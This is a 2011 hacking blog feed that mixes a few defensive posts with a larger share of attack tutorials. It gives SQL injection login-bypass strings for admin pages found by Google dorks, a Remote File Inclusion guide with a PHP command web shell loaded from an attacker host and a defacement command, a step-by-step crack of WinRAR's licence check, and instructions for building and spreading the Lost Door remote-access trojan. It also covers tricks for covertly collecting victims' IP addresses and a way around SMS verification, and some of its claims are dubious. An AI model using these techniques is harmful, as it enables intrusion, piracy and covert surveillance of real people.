Hacker's Stop

Marathi Cyber Army

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sat, 3 Dec 2011 19:27:00 +0530

For more information about all hacking tricks and vulnerabilities.

http://www.marathicyberarmy.in

How to secure your server from PHP Shells!

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sat, 1 Oct 2011 15:30:00 +0530

Adding these code in your php.ini file will protect your server from execution of Shells likec99 or b374k.

disable_functions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect
safe_mode = On
register_globals = Off
display_errors = Off
allow_url_fopen = Off
allow_url_include = Off
enable open_basedir(set it to webroot path)

Hack / Bypass .asp sites using SQL Injection

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sat, 1 Oct 2011 15:28:00 +0530

Hack any .asp sites with SQL Injection attack.

1st, Open Google and search for adminlogin.asp or admin\login.asp

2nd, Open any search result and you will get a login page. Use

User: Admin
Pass: ‘or’1′=’1

User: admin
Pass: ’ or 1=1–

User: ’ or 1=1–
Pass: ’ or 1=1–

We are using some simple SQL injection strings to hack asp sites. If you need more strings please submit your e-mail id. I will send all SQL Strings within 24 hour.

Reset Samsung Mobile Tracker Code

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Sat, 1 Oct 2011 15:26:00 +0530

These Code Reset All Code In Your Samsung Mobile(Any Model)

Samsung Tracker Code Also Reset By These Codes
If You Forget Your Code Don’t Worry
>> Turn Off Your Mobile
>> Remove The SIM
>> Turn On Your Mobile Without SIM
>> Enter The Code *2767*637# (Universal Unlock Code)(Reset Mobile Tracker Code)
>> Enter The Code *2767*3855#(Full EEPROM Reset)(Reset All Type Of Code)

GNS 3 Tutorial – Basic Router password Configuration..

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:21:00 +0530

Hi folks..I have started my first steps into Cisco, & would be sharing my small experiments in it. Actually , this time I am covering the basics using GNS3 which is a powerful open source network simulator to simulate a simple topology of 2 routers with their basic configuration & commands. I assume you have worked with GNS3 or atleast know how to load IOS & make a simple topology..
So, firstly download GNS3 & install it. Get IOS images from and load them (if you are really not sure of this step, mail me, I will expand the basics more)
The topology I created is this -

2 routers connected via gigabit . What we will be doing is -

Set router password.
Set telnet password
Set Console Password
Encrypt All passwords.
Set Ip Address of routers.

Anyways, I start by right clicking on R2 router.

Connected to Dynamips VM "R2" (ID 7, type c7200) - Console port

To get into privilege mode, type this command.

R2>en

To configure router, type this command ..

R2#conf t
Enter configuration commands, one per line. End with CNTL/Z.

To set router password & encrypt all passwords type these commands

R2(config)#enable secret router2
R2(config)#service pass
R2(config)#service password-encryption

Now to set console & its password type these commands

R2(config)#line console 0
R2(config-line)#password console
R2(config-line)#login
R2(config-line)#exit

Now to set telnet (vty/virtual terminal) & its password type these commands

R2(config)#line vty 0 4
R2(config-line)#password telnet
R2(config-line)#login
R2(config-line)#exit

Once done, you can now configure the interface by typing these commands

R2(config)#int g1/0
R2(config-if)#desc ROUTER LAN 2 GIGABIT INTERFACE
R2(config-if)#ip address 192.168.1.20 255.255.255.0
R2(config-if)#no shut
R2(config-if)#
*Feb 19 19:56:42.035: %LINK-3-UPDOWN: Interface GigabitEthernet1/0, changed state to up
R2(config-if)#
*Feb 19 19:56:42.035: %ENTITY_ALARM-6-INFO: CLEAR INFO Gi1/0 Physical Port Administrative State Down
*Feb 19 19:56:43.035: %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0, changed state to up
R2(config-if)#end
*Feb 19 19:56:47.723: %SYS-5-CONFIG_I: Configured from console by console
R2#

Once done, you can see the configuration by typing -

R2#show running-config
Building configuration...
Current configuration : 932 bytes
!
upgrade fpd auto
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname R2
!
boot-start-marker
boot-end-marker
!
enable secret 5 $1$trNZ$uNTgBIA1QG43/4YEB29lf/
!
no aaa new-model
ip cef
!
!
!
!
no ip domain lookup
!
multilink bundle-name authenticated
!
!
!
archive
log config
hidekeys
!
!
interface FastEthernet0/0
no ip address
shutdown
duplex half
!
interface GigabitEthernet1/0
description ROUTER LAN 2 GIGABIT INTERFACE
ip address 192.168.1.20 255.255.255.0
negotiation auto
!
no ip http server
no ip http secure-server
!
!
!
logging alarm informational
!
!
control-plane
!
!
gatekeeper
shutdown
!
!
line con 0
exec-timeout 0 0
password 7 070C2E425D061500
logging synchronous
login
stopbits 1
line aux 0
stopbits 1
line vty 0 4
password 7 06120A2D424B1D
login
!
!
webvpn cef
!
end
R2#

If done properly, it will look like more or less the same I have pasted above. Also, as you can see, all the passwords are encrypted. In the similar way you can configure Router 1. Make a note os passwords, I have kept quite simple passwords just to demonstrate the configuration. Please keep secure passwords ,

A simple tutorial on Remote File Inclusion (RFI)..

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:17:00 +0530

RFI stands for Remote File Inclusion, and it allows the attacker to upload a
custom coded/malicious file on a website or server using a script. The vulnerability exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, i suppose you will know what it is all about and may be able to deploy an attack or two.
RFI is a common vulnerability, and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and do almost anything (including gagging them out or beg..well that's an exaggeration but I guess you get the idea :P ) . What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux..
Okay..Lets start..The first step is to find vulnerable site..you can easily find them using Google dorks..If you don't have any idea, you might want to read about advanced password hacking using Google dorks or touse automated tool to apply Google dorks using Google. Now lets assume we have found a vulnerable website

http://victimsite.com/index.php?page=home

As you can see, this website pulls documents stored in text format from server and renders them as web pages. We can find ways around it as it uses PHP include function to pull them out..check it out.

http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt

I have included a custom script “eveilscript” in text format from my website, which contains some code..Now..if its a vulnerable website, then 3 cases happen -

Case 1 - You might have noticed that the url consisted of “”page=home” had no extension, but I have included an extension in my url,hence the site may give an error like “failure to include evilscript.txt.txt”, this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte “” in order to avoid error.
Case 3 – successfull execution :)

Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go

echo "";
echo "Run command: ".htmlspecialchars($_GET['cmd']);
system($_GET['cmd']);

?>

The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So…If you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using “pwd” and “ls” commands.

http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript
http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript

What it does is that it sends the command as cmd we put in our script, and begins print the working directory and list the documents..Even better..you can almost make the page proclaim that you hacked it by using the “echo” command..

cmd=echo U r pwn3d by xero> index.php

It will then re-write the index.php and render it..In case,its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files.Now..as expected..We are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the “wget” function (cmd=wget.. get the idea..)..Want to move it out ? “mv”..
I leave the rest on your creativity..

An Introduction to Revrerse Engineering - Reversing Winrar step by step...

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:12:00 +0530

Hi folks,its been a long time since I have posted some thing technical,so I will be writing about the challenge I got at NIT KU, where I reverse engineered WinRAR 3.80 using a disassembler and will tell you the same here. Furthermore, major software are analysed using the same way,but just get a bit complex in the methodology. This tutorial is intended for those who are new to reverse engineering and disassembling.

Disclaimer – By Reading this tutorial You agree that this tutorial is intended for educational purposes only and the author can not be held liable for any kind of damages done whatsoever to your machine, or damages caused by some other,creative application of this tutorial.
In any case you disagree with the above statement,stop here.

The Tools
To perform this hack you will be needing -

Any De-assembler (I use Hackers Disassembler and Hview )
Resource Hacker
A patch Creator ( Use Universal Patch Creator or Code fusion)

You will be able to get them by googling ..

How to Reverse Engineer?
You need to have a bit knowledge of assembly language,and in case you don't have it,just cram the steps and it will work anytime,every time. Download the latest version of WinRAR from their website and install it.

I will be cracking Winrar 3.80 here (cuz I already have it:P ). This is basically a 2 step process ( 4 step ,if you want to do things with a professional touch,period) .
Now copy the WinRAR.exe file to desktop. Make a copy of it there.

Step 1 – Hunting for Memory Address
Now load Hackers Disasembler and load the copy in it.

The Disassembler will disassemble the executable in assembly code. Now you need to search for strings that are used in WinRAR program. Press Ctrl + F and type “evaluation” without quotes and search in the assembly code. Hit enter..

After you have reached this block of code by searching, just look at the block of code above it. There you will find that some assembly values are being compared and then code is jumped to some other function. Now see carefully, the “evaluation copy” function must be invoked after some specific condition is met. We need to look for it at the code and the make certain changes to the condition so that the program doesn't checks for the condition.

In the above code you can see this code -

00444B6A: 803DF4B84B0000 cmp byte ptr [004BB8F4], 00
00444B71: 0F859B000000 JNE 00444C12

This is the code responsible for validating you as a legal user :) . Just note down the memory address that leads to jump (JNE) at some memory location. In this case, note down 00444B71 .
Note : For any WinRAR version, this code and memory address might be different,but the JNE will be same. Just note down the respective memory address that checks.
Now you need to search for the code that brings that ugly nag screen “Please purchase WinRAR license” after your trial period of 40 days is over. For this,look over your toolbar and click on “D” which stands for looking for Dialog references.

Now in the dialog box that opens,search for “please” and you will get the reference as -

ID-REMINDER, “Please purchase WinRAR license”

Double click on it and you will reach the subsequent code.

The code will be something like

* String: “REMINDER”
0048731A: 68EB5E4B00 push 004B5EEB

Just note the memory address that invokes the REMINDER dialog. In this case its 0048731A. Note it down.
Note : For any WinRAR version, this code and memory address might be different.But the Reminder Memory address code will always PUSH something. Just note down the respective memory address that PUSH ‘s.

Step 2 – Fixing and Patching
Now in this step we will be patching up values of memory addresses we noted earlier. I will be doing this using HVIEW.
Now load the copy you disassembled in Hacker’s Disassembler in Hview.

After you have loaded it, you will see the code is unreadable. Its just like opening an EXE file in notepad. You need to decode it. To do that, just press F4 and yoiu will get an option to decode it. Hit DECODE and you will be able to see code in the form of assembly code and memory addresses.

After you have done that, you need to search for memory addresses you noted down earlier. Just hit F5 and a search box will be there. Now you need to enter the memory address. To do that, enter a “.” and the type memory address neglecting the earlier “00” . The “.” will suffice for “00”. ie -

Type .444B71 in place of 00444B71

and search in the code.

After you have reached the respective code, you need to make changes to it. Press F3 and you will be able to edit the code.Now make the following changes -

After you have done it, save it by pressing F9.
Now search for next memory location by pressing F5 and entering it. Reach there and make the following changes by pressing F3 -

Save the changes by pressing F9 and exit HVIEW by pressing F10.
Congrats..You have cracked WinRAR :) Replace the original WinRAR.exe with this copyofwinrar.exe by renaming it. It will work 100% fine :P

Step 3 – Spicing up the EXE
Now U have a 100% working version of EXE, you might want to change your registration information in WinRAR. TO do this, you can use Resource hacker.

Launch Resource Hacker, load the copyofwinrar.exe in it

Now go to DIALOG –> Expand tree –> ABOUTRARDLG and click it. Now Find Trial copy line and replace it with your favorite one :P

and click on Compile Script button.

Now save the file with any name on your desktop or any location what so ever.

Now you have a fully patched WinRAR.exe file :)) . If you want to learn that, move on to next step.

Step 4 – Creating a working Patch (or giving Professional touch :P )
I will be using diablo2oo2's Universal Patcher (UPE) for creating the patch. The patch will work like any authentic one for that WinRAR version. Just like the one U downloaded at anytime of your life from any Crack and Keygen website.
Launch Patch Creator and click on add new project. Enter project Information and click on save.

Click on Add – ; Offset patch

After you have done that, double click on offset patch and then

Give path of original winrar.exe
Give path of unmodified Winrar.exe (again)
Give path for fully patched Winrar.exe (ie Cracked Winrar.exe in this case)
Click on compare and it will show difference between both files
Click on save.

Now in the next window, click on Create Patch and save it. The Patch will be created. Now copy it in WinRAR installation directory and hit on patch, it WILL work.

Congrats you have created a patch of your own and have learned to reverse engineer WinRAR :)

You can crack other software in the same way…just practice,debug and disassemble and you will get the way :)

[PS: The above is the long way to do it, I will be telling you the shortest way to crack WinRAR in just 1 step, the main aim of this tutorial was to introduce you to disassemblers and tools, and do some dirty work with your hand. ]

Hacking PHP 4.4 sites in 20 seconds...

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:09:00 +0530

Now here is a real hacking tutorial in which I am going to hack a real website,and that too in less than 20 seconds.and I am not kidding. Actually sites with PHP 4.4 have a SQL injection vulnerability in them which makes their Admin control panel easily accessible,and I mean in one big shot,you will be admin of that site.
Remember,this tutorial is applicable on PHP4.4 machines with Apache running in parallel with them.Also,since I will be hacking REAL websites,I will not be displaying their URL’s or else I will be gunned down (by law of course :P).It will be partial in nature,that is I WILL not be teaching each and everything to you,I assume you know basics of SQL injection/PHP injection/Google searching,and if you don't then read these articles first -

Google Search Tips for Hacking
Google Secrets – Some Cool Google Dorks
Basics of SQL Injection
SQL injection by example
Simple Nmap Scanning

In the mean time,here is how you can start -
Step 1 – Search for them
Yep,make a Google dork to find sites running Apache and PHP 4.4 . Its quite easy.
Step 2 – Scan them
Start by scanning them using Nmap,Do and intense scan and find the open ports. If you find port 2000 open,then you have almost got it. most websites running PHP4.4 have this port for admin login.
Now just login using port 2000 ie -

http://www.website.com:2000

and you will be comfortably login into admin page like this -

Step 3 – Hack them
Now in the fields,you have to type -

username – admin
password – a’ or 1=1 or ‘b
domain - a’ or 1=1 or ‘b

and press go,you will login into admin

voila..you have hacked into admin. Actually sites based on PHP 4.4 have the vulnerability in them that they are vulnerable to SQL injection.It will literally take 20 seconds.
I hope that was informative :P go learn something.

SQL injection automated software SQLMAP...

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:07:00 +0530

Sqlmap is an open source command-line automatic SQL injection tool and its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.Enthusiastics can experiment with its opotions and pwn many of the servers around,or can test their skills to secure their servers..but remember,SQL map is a tool,its might help you to find and apply vulnerabilities and injections,but in the end,you really must have a good knowledge of SQL some real pwning out there..
You Can download sqlmap 0.7 here:

Linux Source: sqlmap-0.7.tar.gz
Windows Portable: sqlmap-0.7_exe.zip

How to Control a Remote Computer using Lost Door...

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:03:00 +0530

Remote Administration tools also known as RAT are windows Trojans or in simple terms programs used by a Hacker to get administrative privileges on the victim’s computer. Using a RAT you can do a lot of cool things such as “Upload, delete or modify data” , “Edit registry”, “Capture victim’s screen shot”, “Take control of victim’s Computer”or “Execute a virus” just with a click of a button.

Throughout this article I will teach you how to use Lost Door, a Windows RAT, to control and monitor a victim’s computer remotely.
Disclaimer: Coder and related sites are not responsible for any abuse done using this software.
Follow the steps below to setup a server for Lost Door.

Download Lost Door from here . (Update: In case the given download link doesn’t work, use this secondary download link. The password to unzip this file is “ehacking.nethungry-hacker.com” without double quotes.)
On executing the download file, you will see the following screen. Accept it

After it is open, right click on the window and click on create server

Now enter your IP address and DNS here. Leave the rest of the field as it is.

Now click on the ‘Options’ tab and choose the options as you want. To activate an offline keylogger is a good practice.

Now go to ‘Advanced’ Tab. There will options related to spreading. This will be used in case you have more than 1 victim.

Now just go to the ‘Create’ tab and click on create server. Your server is ready for use now and now send it to the victim.

Sending the server file to your victim

This is the most important thing after you have created your server file. If you want to take control on a single computer than you have to send this server file to the desired victim but if you want to affect more and more people than you have to use some spreading techniques.

If you have physical access to the victim’s computer then take the server file in a pen drive and just double click on your server file once you have injected the pen drive into that computer.
For those who don’t have physical access can use social engineering in order to get the victim execute that file on his computer.

Using Spreading to affect multiple victims

If you have more than one victim, then you have an option of using spreading technique. You might think that by creating multiple server files you can control multiple users. But here is a secret about spreading. When you select the spreading option, the server file will act as a worm which will spread itself across different computers via Email or any other channel. So your burden will be only to get one victim to execute that file on his computer, the remaining job of getting other victims will be done on its own.

Download from here

http://www.lost-door.com

Mousezahn - Open source free fast traffic generator and packet crafter tooll

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Thu, 21 Jul 2011 21:01:00 +0530

Mausezahn is a free fast traffic generator written in C which allows you to send nearly every possible and impossible packet. It is mainly used to test VoIP or multicast networks but also for security audits to check whether your systems are hardened enough for specific attacks.
Mausezahn can be used for example:

As traffic generator (e. g. to stress multicast networks)
To precisely measure jitter (delay variations) between two hosts (e. g. for VoIP-SLA verification)
As didactical tool during a datacom lecture or for lab exercises
For penetration testing of firewalls and IDS
For DoS attacks on networks (for audit purposes of course)
To find bugs in network software or appliances
For reconnaissance attacks using ping sweeps and port scans
To test network behavior under strange circumstances (stress test, malformed packets)

Mausezahn is basically a versatile packet creation tool on the command line with a simple syntax and context help. It could also be used within (bash-) scripts to perform combination of tests. By the way, Mausezahn is quite fast; when started on my old PIII-Laptop (1.4 GHz, Gigabit Ethernet) I measured 755 Mbit/s using the interface packet counters of an HP ProCurve 5400 switch.
Currently Mausezahn is only available for Linux platforms. Please do NOT PORT Mausezahn to Windows!

Yoiu can download Mausezahn here:

mz-0.40.tar.gz

Or read more here.

How to bypass a keylogger, by fooling it.?

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 18 Jul 2011 13:28:00 +0530

Hey guyzz today i m writing a small post on bypassing a keylogger , i found many of my friends asking me that , how to bypass a keylooger? if installed in any computer which we are unkown as now a days evry body uses keyloggers , hidden trojans/servers, to spy on each nd evry activity on us . so, with this trick u can confuse a key logger to read the correct keystrokes.

lets move on to the main part.

1. Whenever u type a password on a webpage to access ur account first of all never write the full password.
say for example i m taking a password DEVENDRA.
first thing u should type is ENDR. now second thing keep ur hands off from the keybord nd just put your cursor back to the starting of password only with mouse nd type DEV, now aagain do d same thing nd take your cursor to d last place nd type A . now u can see d password is correctly entered in the block ie "DEVENDRA" but the keylogger will read the keystrokes as ENDRDEVA. lolzz
using such type of method we can confuse /fool the keylogger nd the one who sypies on you.

2.Additionally ,you can also use spaces with you passwords as spaces are not readable. Use 2-3 spaces after or in the end (as prefix) for all your passwords. Gmail, yahoo , Facebook & so many other services supports spaces in password field.

so, just use certain methods like this nd m sure u will easily bypass keyloggers .

thanxx for reading the article , have a nyc day..:).!!!

Get Someone's IP Through AIM/MSN/Chat &location too..!!

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 18 Jul 2011 13:23:00 +0530

Free location tracking codes will trace location of your chat buddy with the help of IP lookup.

These Location tracking codes, which you present in chat room
land on page with good pictures. meanwhile, the other chat buddy's IP Address is stored in a database. IP Look Up identify
Country, Near city, Local time, etc.. of the other buddy.

Get Your chat Tracking codes.
After Sign Up, you get a set of tracking codes,
Using which you can find Location details.. of your chat friends.

How to Sign Up

The process of sign up involves entering
1. First name2. Last name3. User name4. Pass word
Sign Up takes less than 20 Seconds to complete.
Log In to your member page, where you find, your own personalized "Location tracking codes" ready to use in any chat rooms.
Member page has mainly two pages
1. Several Tracking Codes (page)
2. Track results (page)

How to Find Location of your chat friend
Very first step is Sign Up. and Log in your member area.

Copy any one tracking code
Past that code in chat room text box
Ask your chat friend to click and see the picture.
After few seconds click Track Result link and find chat friend's location details.

Sign Up NOW
NOW U GOT THE IP ADRESS IF U WONT FIND ANY MAP OR LOACATION THEN COPY THE IP ADRESS ND GOTO: www.ip-adress.com

nd paste ur ip ther nd search u will find location too..:D:D:D:D..!!!

How to protect your website from hackers | how to secure your website [Basic tips]

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 18 Jul 2011 13:20:00 +0530

This post is for website admins who didnt bother there website's security. so every website owner especially noobs should follow certain steps to protect ther website from hackers as now days cyber crime is on "boom"
...:D..!!

Hackers have lots of reasons for attacking your website and protecting it is the only solution. So, what steps can you take to protect your site from these hackers?

Hackers are constantly attacking websites and one day, even if your site is not experiencing huge traffic levels, a hacker might come calling at your door to test your security levels. How do you stop them from gaining access and possibly taking control of your website?

Passwords
Your site admin must have a strong password – never ‘password’ or other obvious words. A medium strength password will include a combination of numbers and letters, ideally using upper and lower case letters. Make it stronger by including other characters, such as @ – ? etc. Anything that you can add that means your password is not a straight forward word or two can really improve it.

Ideally, also sign on with a user name that is not obvious – not ‘admin’, ‘administrator’ and so on. This way the hacker must guess user name and password. And if you can move your administration area to an unusual directory, then the hacker might not even be able to find it!

Watch what is happening
Monitor failed logon attempts to the admin and maybe close it down if there are too many. Be on the look out for multiple failed attempts from the same IP address and multiple failed attempts on the same user name. Hackers might use networks of computers to constantly submit different passwords to your admin and if these are hijacked computers, they will have different IP addresses, but they will all attack the same userid.

Be alert to traffic patterns
Watch your traffic stats for sudden interest in pages, especially pages that shouldn’t be there and protect the code from SQL injection. And if any part of your website is uploading files then validate the format. I like to check that images are a valid image format and then put them through a resize algorithm. That way php / asp files cannot be uploaded and ran should a hacker gain entry to an admin system.

SQL injection
This is a popular way of reading your tables and trying to find out if you have passwords stored there and other malicious tricks, such as uploading content to your pages. Make sure that you use correct escape routines to remove any attempts to inject SQL into your code and on pages where all that is needed is a read only access, just use a read only user id. Then if someone slips in extra code the potential damage might just be limited.

You can also validate inputs to prevent SQL injection. For example, if you are expecting to be passed an id that is an integer, then test that it is an integer. If not, then I like to just exit the code immediately so that there are no extra clues given and the page stops loading immediately.

i want to you to download this website vulnerability scannner tool called ACUNETIX

6 Basic Website Security Steps

In my quest to beat the hackers who have had a go at some customer websites, I have created a list of a few basic security steps for people building their own websites. Please do leave comments of any others you can think of.

1) Make sure that passwords are not readable in your database.
Yes, it can make life more difficult when you need to reset your own password, but if a hacker manages to gain read access to your database (which can be quite easy, see step 5) then if passwords are on show they can access anything. Even if you just create an MD5 checksum of the password so that it is difficult to read, that is a step in the right direction.

2) Give your logons good user names.
In single user systems it is tempting to do without user names or use basic names such as ‘admin’. Don’t! If a hacker has to find out a username and a password they are much less likely to get through. Store them on separate tables in your database, or in a single user (or limited user) environment, why not store the username in the PHP / ASP? A username is a good protection against brute force attacks.

3) Check what you upload!
Does your admin allow you to upload files to your server? This is what a hacker wants – then they can upload their backdoors. If you are expecting to upload images check the file is an image (jpg, gif etc). If it is meant to be PDF validate that. Then, rename the file to hide it! For example picture.jpg might become 1.jpg.

4) Do not directly access uploaded images.
If a hacker can upload a file, then they need to find out where it is stored. But, if you instead use a picture resizing routine which has the uploads directory hard coded, then there is no clue as to what directory the files are stored in. If a hacker realises that the uploaded files are well hidden it might be enough to make them leave your site alone.

5) Validate all input string parameters.
To gain read access of the database a hacker can try to manipulate inputs. So, make sure the values are what you expected. For example, if you have mypage.php?id=1 and the id is a number, then fail the script immediately if the id is not numeric.

If you are passing a string, within the PHP / ASP check it for an exact match on expected results before using it within a MYSQL query. You can do this by running through the database values or a hardcoded list.

If you are running a search function then this is a lot more difficult to protect, but not impossible. Make sure you use the POST method and check the referring page is on your website. If possible, remove all non alpha-numeric characters or at the very least backslash out quotes. If you don’t then they will cause problems anyway in genuine searches.

6) Monitor failed logons.
And maybe even those queries detected in step 5. If the logon fails, send yourself an email. If there is a brute force attack you might find your email box suddenly filled up, so you might prefer to use a separate email address for this. If you want to be really clever monitor the failed logon attempts and lock your admin out for an hour after a few failed attempts.

How to bypass sms verificaton of any website | How to recieve online messages..

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 18 Jul 2011 13:15:00 +0530

Hey guyzz this is an awesome trick to make emails by using a fake number .There are various website like google,youtube. etc that ask for sms verification before registeration . Verification Bypass means creating gmail account without SMS verification code that is generated by Google Systems to enforce users to enter their mobile numbers and receive the verification code. As users receive Google verification code, they have to enter it on the submission form and that is the only way to create email accounts . Unfortunately, your mobile is only valid for only a few of Gmail accounts. So when you try to put same mobile number more than allowed number of times, Google System restricts you and you cant create more gmail accounts.

I know you are just too frustrated with the SMS Verification code appearing again and again, because it never lets you create gmail account as many as you want. Why don't you find a way to bypass gmail verification code that actually works?

How to do it?

1.   Visit Here

2.   Copy one of the two number mentioned below website / numbers change after 24 hours and put in the fields where they are asking for sms registration

3.   Then simple go back to here and click the number u have selected there u will find your code sent by google, youtube or other website.

Key features of Revieve-sms-online r useful for:

1.Getting a message when you want to keep your real phone number to yourself. When your ex-wife wants to send you a text message.
2.Your phone has stopped working. One of the children that assembled the phone in China made a mistake.
3.You only have access to the web because the NWO has disconnected you from the phone system.
You don't have a phone because you are living off the grid and don't carry a trendy tracking and profiling device.

NOTE: Use this at your own risk as there is no 100% guarntee of this trick your
vericfication code will be visible to every one so be aware. Only for educational purpose.

What is hacking ?

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 18 Jul 2011 13:06:00 +0530

Hacking is unauthorized use of computer and network resources.
The term "hacker" originally meant a very gifted programmer. In recent years though, with easier access to multiple systems, it now has negative implications.

We work with IBM Consulting and its customers to design and execute thorough evaluations of their computer and network security. Depending on the evaluation they request (ranging from Web server probes to all-out attacks), we gather as much information as we can about the target from publicly available sources. As we learn more about the target, its subsidiaries and network connectivity, we begin to probe for weaknesses.

Examples of weaknesses include poor configuration of Web servers, poor web hosting, old or unpatched software, disabled security controls, and poorly chosen or default passwords. As we find and exploit vulnerabilities, we document if and how we gained access, as well as if anyone at the organization noticed. In nearly all the cases, the Information Syhstems department is not informed of these planned attacks. Then we work with the customer to address the issues we've discovered.

The number of hackers in the world is very small, but there are lots of wannabes. When we do an ethical hack, we could be holding the keys to that company once we gain access. It's too great a risk for our customers to be put in a compromising position.

How To Get IP Address Of Any Computer Remotely...

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 4 Jul 2011 15:33:00 +0530

How To Get IP Address Of Any Computer Remotely

Using some very basic tricks we can find the IP address of any remote computer and then you can start your further hacking into the remote system like port scanning and finding vulnerabilities to enter in to the system and hack it. There are several methods to get an IP address of the victim but i will share few and specially the best one's that can tell you IP address in just few clicks and also all are free methods and special thing is about it is all are manual methods that means you did not require any tool.

4 ways to get the IP address of the Victim

1. Using PHP notification Script
2. Using Blogs and Websites
3. Using Read Notify service
4. Sniffing during Gmail and yahoo chat sessions

As we are here to learn concepts so i will first explain what is an IP address and what's its importance. So friends very basic question What is an IP address? Why its important for hackers and security professionals?

What is an IP address?

Basically IP address (Internet Protocol address) is a unique numerical value that is assigned to any computer or printer on a computer network that uses an internet protocol for communication purpose. Protocol is basically rules( for Network its rules for communication).
IP address serves for two basic purposes:
1. Host or network interface identification
2. Location Addressing

How to Find IP address of another computer?

1. Using PHP notification ScriptUsing this Notification script you can get the IP address in just seconds. Steps of using this PHP script:
a. Download the PHP notify script and extract files.
Download PHP notification script here
b. Now you will get two files IP.html and index.php . You need to upload these two files to any free web hosting server.
Example: i used www.my3gb.com to upload these two files. Create an account there and upload these two files there as shown below.

c. Now you will need to send the link of index.php to the victim whose password you want to get. to get the link click on index.php shown in above snapshot. Now a new window will open copy the link in the address bar and send to the victim whose IP address you want.
d. Now when the victim opens the above link nothing will open but his Ip address is written into the ip.html file. So open the ip.html file to get his IP address.
e. That's all this method... I hope you liked it.

2. Using Blogs and WebsitesThis method is for those who have their blogs or websites. Normal users can also do this as blog is free to make. Make a new blog and use any stats service like histats or any other stats widget. Just add a new widget and put histats code there and save template. And send the link of your blog to your friend and get his IP.
That's only.

3. Using Read Notify serviceThis is an email based service. Steps to use Read Notify service:
a. First open the Read Notify website : RCPT
b. Now register on this website and then it will send you confirmation mail. Verify your account.
c. Once your account is activated.
Do the following steps use this service:

Compose your email just like you usually would in your own email or web email program
Type: .readnotify.com on the end of your recipients email address (don't worry, that gets removed before your recipients receive the email). Like this:shiviskingg@gmail.com.readnotify.com
Send your email
Some things to remember:
don't send to and from the same computer
if your email program 'auto-completes' email addresses from your address book, you'll need to keep typing over the top of the auto-completed one to add the .readnotify.com
if you are cc-ing your email to other readers, you must add tracking to all of them

4. Sniffing Yahoo and Gmail Chat sessionsWith the help of Sniffers like ethereal, wireshark etc we can sniff the Gmail, and yahoo chat sessions while we are chatiing to any our friend and extract the IP address from there. I will explain this trick in detail in my next article as its a long article in itself.

5. Bonus Method for Online GamersWe can also get the IP address from online games like counter strike, age of empires in Game ranger etc.. Many counter strike servers use amx mode. Just view which people are connecting and whats their IP addess as plugins show the IP address of people connecting to the game server. If you have more access to counter strike server you can use status command in console. Just go to console and type "status"(without quotes) and press enter there you can see all players details his steam ID and much more depending upon server.

How To Bypass Firewalls ? Open Blocked Websites In Schools And Colleges !!

sunnydeshmukh191@gmail.com (Sunny Deshmukh) — Mon, 4 Jul 2011 15:14:00 +0530

